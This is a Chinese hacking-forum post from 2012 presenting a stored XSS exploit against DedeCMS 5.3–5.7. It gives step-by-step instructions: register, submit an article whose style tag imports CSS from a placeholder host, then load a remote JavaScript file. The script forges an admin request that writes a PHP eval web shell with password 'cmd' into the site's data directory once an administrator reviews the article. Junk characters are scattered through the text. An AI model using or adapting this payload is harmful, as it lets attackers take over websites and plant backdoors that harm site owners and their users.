找回密码
 立即注册
查看: 2034|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell, w0 t' V+ {* B( X, f
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)3 N8 a. @8 x- b
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。. A$ H8 E: T5 D  Z0 y8 o% Y
下面说说利用方法。
9 M$ u  F* e1 {* v1 a5 Z条件有2个:; a9 E% ^& j: @8 t7 Q- `
1.开启注册" j5 Q/ A0 I7 g3 X, F; N/ F# ]
2.开启投稿
6 m5 u! B# z- }8 ~注册会员----发表文章
( K- ?, F+ }$ p' \0 E% a内容填写:6 `4 j+ v: {! b* ?& v
复制代码
3 _+ _- b7 c( ^% `! C  ]* M<style>@im\port'\http://xxx.com/xss.css';</style>2 H% o, L. H, Q
新建XSS.Css: m5 B% \7 `. J7 Q7 T
复制代码
* ]7 G, N5 ~0 p6 N: i7 G. D. ^; m.body{: U1 D! n9 i. T" n) B
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
7 I9 w, M  N. C$ \新建xss.js 内容为
7 r* @. H$ w% j复制代码
, \; O2 T+ V; u" g" W+ ?( \1.var request = false;
7 Q# i; g+ C' f2 J: v2.if(window.XMLHttpRequest) {
7 A2 A+ M0 T% ]9 N% N3.request = new XMLHttpRequest();. ^0 @, E- v, l' Z
4.if(request.overrideMimeType) {1 h0 h, M- ^2 Q! X! \3 q
5.request.overrideMimeType('text/xml');) X+ p  m& W: S; Y$ H$ e
6.}
; k' J) r" {0 Z' U, e. p7.} else if(window.ActiveXObject) {8 j, S$ E3 f+ {( h
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 E, A2 m" q4 m4 F; F9.for(var i=0; i<versions.length; i++) {  H) L2 _  S  v" b
10.try {
, t+ r9 Q  x8 F11.request = new ActiveXObject(versions);$ j: k/ Y# L/ s4 i
12.} catch(e) {}% [! D+ J1 V1 u. @1 M! K4 `: I
13.}+ ?$ a1 r* E% k! o
14.}
, C9 |) l6 ]. f# ^15.xmlhttp=request;
+ |0 Y. u# I8 ]' R$ \16.function getFolder( url ){/ m3 R2 P. ?% N) c; c
17. obj = url.split('/')0 d- [4 n0 l7 k  ]
18. return obj[obj.length-2]% Z1 e, m: d: S- T/ O3 F
19.}
6 }$ g( y! s7 O$ Y# I  Z# S20.oUrl = top.location.href;
2 l* q0 D! J' V( @  ^0 T21.u = getFolder(oUrl);% `% q. u  N1 f( H) d/ E; [1 H
22.add_admin();; Q5 ]: g* k6 }" _' u) l$ l
23.function add_admin(){
9 T: }8 r* G$ \0 o24.var url= "/"+u+"/sys_sql_query.php";+ `2 l* V% d+ W* y9 F" T
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";1 w& L0 p- d/ x: j5 X/ K$ U
26.xmlhttp.open("POST", url, true);
9 `9 l! s" ]" f4 T& k27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
9 r9 }, C# ^/ v/ C1 a* M# T28.xmlhttp.setRequestHeader("Content-length", params.length);
( _0 V6 g/ C1 B5 [1 w29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");- _. |- p( N' y4 O
30.xmlhttp.send(params);
& w% N4 {0 J* p- d+ I31.}
. W) d$ a- k+ X: q( t- G当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表